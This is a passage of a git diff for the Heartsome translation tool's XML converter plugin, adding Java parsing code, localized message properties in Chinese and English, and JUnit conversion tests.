monitor.subTask(""); + segments = new ArrayList(); + text = ""; //$NON-NLS-1$ + Node n = root.getElement(); + parseNode(n); + segments.add(text); + monitor.done(); + } + + /** + * Parses the node. + * @param n + * the n + * @throws Exception + * the exception + */ + private void parseNode(Node n) throws Exception { + switch (n.getNodeType()) { + case Node.ATTRIBUTE_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg4") + n); //$NON-NLS-1$ + case Node.CDATA_SECTION_NODE: + segments.add(text); + CDATASection cdata = (CDATASection) n; + segments.add("" + '\u007F' + '\u007F' + ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + translatable = ""; //$NON-NLS-1$ + text = ""; //$NON-NLS-1$ + break; + case Node.COMMENT_NODE: + segments.add(text); + segments.add("" + '\u007F' + '\u007F' + ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + translatable = ""; //$NON-NLS-1$ + text = ""; //$NON-NLS-1$ + break; + case Node.DOCUMENT_FRAGMENT_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg5") + n); //$NON-NLS-1$ + case Node.DOCUMENT_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg6") + n); //$NON-NLS-1$ + case Node.DOCUMENT_TYPE_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg7") + n); //$NON-NLS-1$ + case Node.ELEMENT_NODE: + Element e = new Element(n); + if (startsSegment.containsKey(e.getName())) { + segments.add(text); + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + stack = null; + stack = new Stack(); + stack.push(e.getName()); + if (!keepFormating.containsKey(e.getName()) + && !e.getAttributeValue("xml:space", "default").equals("preserve")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + normalizeElement(e); + } + } + if (ignore.containsKey(e.getName())) { + segments.add(text); + segments.add("" + '\u007F' + "" + '\u007F' + e.toString()); //$NON-NLS-1$ //$NON-NLS-2$ + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + stack = null; + stack = new Stack(); + return; + } + if (stack.size() == 0 && e.getChildren().size() == 0 + && !translatableAttributes.containsKey(e.getName())) { + if (inline.containsKey(e.getName()) && !e.getText().equals("")) { //$NON-NLS-1$ + segments.add(text); + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + stack = null; + stack = new Stack(); + stack.push(e.getName()); + if (!keepFormating.containsKey(e.getName()) + && !e.getAttributeValue("xml:space", "default").equals("preserve")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + normalizeElement(e); + } + } else { + segments.add(text); + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + segments.add('\u007F' + "" + '\u007F' + e.toString()); //$NON-NLS-1$ + break; + } + } + if (stack.size() > 0 && !startsSegment.containsKey(e.getName())) { + stack.push(e.getName()); + } + List attributes = e.getAttributes(); + text = text + "<" + e.getName(); //$NON-NLS-1$ + if (attributes.size() > 0) { + for (int i = 0; i < attributes.size(); i++) { + Attribute a = attributes.get(i); + Vector attr = translatableAttributes.get(e.getName()); + if (translatableAttributes.containsKey(e.getName()) && attr.contains(a.getName())) { + // + // This is a translatable attribute and all quotes + // should be escaped at reverse conversion time + // + if (!text.startsWith("" + '\u007F' + '\u007F')) { //$NON-NLS-1$ + text = "" + '\u007F' + '\u007F' + text; //$NON-NLS-1$ + } + segments.add(text + " " + a.getName() + "=\""); //$NON-NLS-1$ //$NON-NLS-2$ + segments.add('\u0080' + cleanAttribute(a.getValue())); + segments.add("" + '\u007F' + '\u007F' + "\""); //$NON-NLS-1$ //$NON-NLS-2$ + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + } else { + if (!inline.containsKey(e.getName()) + && !text.startsWith("" + '\u007F' + '\u007F') && translatable.length() == 0) { //$NON-NLS-1$ + text = "" + '\u007F' + '\u007F' + text; //$NON-NLS-1$ + } + text = text + " " + a.getName() + "=\"" + cleanAttribute(a.getValue()) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + List content = e.getContent(); + if (content.size() == 0) { + if (text.equals("")) { //$NON-NLS-1$ + text = "" + '\u007F' + '\u007F' + "/>"; //$NON-NLS-1$ //$NON-NLS-2$ + } else { + text = text + "/>"; //$NON-NLS-1$ + } + } else { + if (!inline.containsKey(e.getName())) { + if (!text.equals("")) { //$NON-NLS-1$ + segments.add(text + ">"); //$NON-NLS-1$ + text = ""; //$NON-NLS-1$ + } else { + segments.add("" + '\u007F' + '\u007F' + ">"); //$NON-NLS-1$ //$NON-NLS-2$ + } + translatable = ""; //$NON-NLS-1$ + } else { + if (!text.equals("")) { //$NON-NLS-1$ + text = text + ">"; //$NON-NLS-1$ + } else { + segments.add("" + '\u007F' + '\u007F' + ">"); //$NON-NLS-1$ //$NON-NLS-2$ + translatable = ""; //$NON-NLS-1$ + } + } + for (int i = 0; i < content.size(); i++) { + parseNode(content.get(i)); + } + if (startsSegment.containsKey(e.getName())) { + segments.add(text); + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + } + if (!text.equals("")) { //$NON-NLS-1$ + text = text + ""; //$NON-NLS-1$ //$NON-NLS-2$ + } else { + segments.add("" + '\u007F' + '\u007F' + ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + if (stack.size() > 0) { + stack.pop(); + } + + break; + case Node.ENTITY_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg8") + n); //$NON-NLS-1$ + case Node.ENTITY_REFERENCE_NODE: + EntityReference er = (EntityReference) n; + String name = "&" + er.getNodeName() + ';'; //$NON-NLS-1$ + if (entities.containsKey(name)) { + text = text + entities.get(name); + } else { + text = text + name; + } + break; + case Node.NOTATION_NODE: + throw new Exception(Messages.getString("xml.Xml2Xliff.msg9") + n); //$NON-NLS-1$ + case Node.PROCESSING_INSTRUCTION_NODE: + ProcessingInstruction pi = (ProcessingInstruction) n; + if (inDesign && !translatable.trim().equals("")) { //$NON-NLS-1$ + text = text + ""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } else { + segments.add(text); + segments.add("" + '\u007F' + '\u007F' + ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + text = ""; //$NON-NLS-1$ + translatable = ""; //$NON-NLS-1$ + } + break; + case Node.TEXT_NODE: + String value = n.getNodeValue(); + value = value.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + value = value.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + value = value.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + text = text + value; + if (value.trim().length() > 0) { + translatable = translatable + value; + } + if (value.trim().length() > 0 && text.startsWith("" + '\u007F' + '\u007F')) { //$NON-NLS-1$ + for (int j = 0; j < stack.size(); j++) { + if (startsSegment.containsKey(stack.get(j))) { + text = text.substring(2); + break; + } + } + } + + break; + default: + break; + } + } + + /** + * Normalize element. + * @param e + * the e + */ + private void normalizeElement(Element e) { + List l = e.getContent(); + Iterator i = l.iterator(); + List normal = new Vector(); + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String value = n.getNodeValue(); + value = normalize(value); + n.setNodeValue(value); + } + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e1 = new Element(n); + if (!keepFormating.containsKey(e1.getName()) + && !e1.getAttributeValue("xml:space", "default").equals("preserve")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + normalizeElement(e1); + n = e1.getElement(); + } + } + normal.add(n); + } + e.setContent(normal); + } + + /** + * Clean attribute. + * @param value + * the value + * @return the string + */ + private String cleanAttribute(String value) { + if (stack.size() > 1 && !text.startsWith("" + '\u007F' + '\u007F')) { //$NON-NLS-1$ + // this is an inline element and will be placed in + value = value.replaceAll("&", "&amp;"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + value = value.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + } + value = value.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + value = value.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + value = value.replaceAll("\"", """); //$NON-NLS-1$ //$NON-NLS-2$ + return value; + } + + /** + * Gets the type. + * @param string + * the string + * @return the type + */ + private String getType(String string) { + + String result = ""; //$NON-NLS-1$ + if (string.startsWith("') { + break; + } + result = result + c; + } + if (result.endsWith("/") && result.length() > 1) { //$NON-NLS-1$ + result = result.substring(0, result.length() - 1); + } + return result; + } + + /** + * Gets the encoding. + * @param fileName + * the file name + * @return the encoding + * @throws Exception + * the exception + */ + public String getEncoding(String fileName) throws Exception { + // check if there is a BOM (byte order mark) + // at the start of the document + FileInputStream inputStream = new FileInputStream(fileName); + byte[] array = new byte[2]; + inputStream.read(array); + inputStream.close(); + byte[] lt = "<".getBytes(); //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + if (array[0] != lt[0]) { + // there is a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + return "UTF-16BE"; //$NON-NLS-1$ + } + if (array[0] == feff[0] && array[1] == feff[1]) { + return "UTF-16LE"; //$NON-NLS-1$ + } + } + // check declared encoding + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + FileReader in = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(in); + String line = buffer.readLine(); + in.close(); + if (line.startsWith("")); //$NON-NLS-1$ + line = line.replaceAll("\'", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tokenizer = new StringTokenizer(line); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (token.startsWith("encoding")) { //$NON-NLS-1$ + result = token.substring(token.indexOf("\"") + 1, token.lastIndexOf("\"")); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + return result; + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/Messages.java new file mode 100644 index 0000000..9305763 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.xml.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.xml.resource.xml"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml.properties b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml.properties new file mode 100644 index 0000000..a2a4d75 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml.properties @@ -0,0 +1,22 @@ +xml.Xliff2Xml.task1 = \u6b63\u5728\u8f6c\u6362... +xml.Xliff2Xml.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +xml.Xliff2Xml.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +xml.Xliff2Xml.msg2 = XLIFF \u8f6c\u6362 XML \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xml.Xml2Xliff.task1 = \u6b63\u5728\u8f6c\u6362 +xml.Xml2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +xml.Xml2Xliff.task3 = \u6b63\u5728\u521b\u5efa\u5217\u8868... +xml.Xml2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u5185\u5bb9\u5217\u8868... +xml.Xml2Xliff.msg1 = \u8bfb\u53d6\u5f85\u8f6c\u6362\u7684 XML \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg2 = XML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg3 = \u65e0\u6cd5\u89e3\u6790\u8f6c\u6362\u6240\u9700\u7684 DTD \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728\u672a\u58f0\u660e\u7684\u5c5e\u6027\u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg5 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_fragment_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg6 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg7 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_type \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg8 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 entity_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg9 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 notation_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +xml.TYPE_NAME_VALUE = XML \u6587\u4ef6 (XML) +xml.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_en.properties b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_en.properties new file mode 100644 index 0000000..bba4cdf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_en.properties @@ -0,0 +1,22 @@ +xml.Xliff2Xml.task1 = Converting... +xml.Xliff2Xml.task2 = Replacing segment identifiers in the skeleton file... +xml.Xliff2Xml.msg1 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +xml.Xliff2Xml.msg2 = Failed to convert XLIFF to XML. Please try again. + +xml.Xml2Xliff.task1 = Converting... +xml.Xml2Xliff.task2 = Processing List of content... +xml.Xml2Xliff.task3 = Creating the list... +xml.Xml2Xliff.task4 = A list of content is being created... +xml.Xml2Xliff.msg1 = An error occured when loading the XML. Please try again. +xml.Xml2Xliff.msg2 = Failed to convert XML to XLIFF. Please try again. +xml.Xml2Xliff.msg3 = Unable to read the DTD file for conversion. Please reinstall Heartsome Translation Studio and try again. +xml.Xml2Xliff.msg4 = Conversion failed due to an error in the XML file. Find an undefined attribute node. Please make sure that you select a valid XML file. +xml.Xml2Xliff.msg5 = Conversion failed due to an error in the XML file. Find "document_fragment_node". Please make sure that you select a valid XML file. +xml.Xml2Xliff.msg6 = Conversion failed due to an error in the XML file. Find "document_node". Please make sure that you select a valid XML file. +xml.Xml2Xliff.msg7 = Conversion failed due to an error in the XML file. Find "document_type". Please make sure that you select a valid XML file. +xml.Xml2Xliff.msg8 = Conversion failed due to an error in the XML file. Find "entity_node". Please make sure that you select a valid XML file. +xml.Xml2Xliff.msg9 = Conversion failed due to an error in the XML file. Find "notation_node". Please make sure that you select a valid XML file. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +xml.TYPE_NAME_VALUE = XML file (XML) +xml.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_zh.properties b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_zh.properties new file mode 100644 index 0000000..a2a4d75 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/src/net/heartsome/cat/converter/xml/resource/xml_zh.properties @@ -0,0 +1,22 @@ +xml.Xliff2Xml.task1 = \u6b63\u5728\u8f6c\u6362... +xml.Xliff2Xml.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +xml.Xliff2Xml.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +xml.Xliff2Xml.msg2 = XLIFF \u8f6c\u6362 XML \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xml.Xml2Xliff.task1 = \u6b63\u5728\u8f6c\u6362 +xml.Xml2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +xml.Xml2Xliff.task3 = \u6b63\u5728\u521b\u5efa\u5217\u8868... +xml.Xml2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u5185\u5bb9\u5217\u8868... +xml.Xml2Xliff.msg1 = \u8bfb\u53d6\u5f85\u8f6c\u6362\u7684 XML \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg2 = XML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg3 = \u65e0\u6cd5\u89e3\u6790\u8f6c\u6362\u6240\u9700\u7684 DTD \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +xml.Xml2Xliff.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728\u672a\u58f0\u660e\u7684\u5c5e\u6027\u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg5 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_fragment_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg6 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg7 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 document_type \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg8 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 entity_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 +xml.Xml2Xliff.msg9 = \u65e0\u6cd5\u8f6c\u6362\uff0cXML \u6587\u4ef6\u9519\u8bef\uff1a\u5b58\u5728 notation_node \u8282\u70b9\u3002\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u5408\u6cd5\u7684 XML \u6587\u4ef6\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +xml.TYPE_NAME_VALUE = XML \u6587\u4ef6 (XML) +xml.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xliff2XmlTest.java b/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xliff2XmlTest.java new file mode 100644 index 0000000..c263c9e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xliff2XmlTest.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.converter.xml.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.xml.Xliff2Xml; + +import org.junit.Before; +import org.junit.Test; + + +public class Xliff2XmlTest { + public static Xliff2Xml converter = new Xliff2Xml(); + private static String xlfFile = "rc/Test.xml.xlf"; + private static String sklFile = "rc/Test.xml.skl"; + private static String tgtFile = "rc/Test_en-US.xml"; + + @Before + public void setUp(){ + File tgt = new File(tgtFile); + if(tgt.exists()){ + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); + args.put(Converter.ATTR_SKELETON_FILE, sklFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); +// args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xml2XliffTest.java b/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xml2XliffTest.java new file mode 100644 index 0000000..3f0d72a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.xml/testSrc/net/heartsome/cat/converter/xml/test/Xml2XliffTest.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.converter.xml.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.xml.Xml2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Xml2XliffTest { + public static Xml2Xliff converter = new Xml2Xliff(); + private static String srcFile = "rc/Test.xml"; + private static String xlfFile = "rc/Test.xml.xlf"; + private static String sklFile = "rc/Test.xml.skl"; + + @Before + public void setUp() { + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = 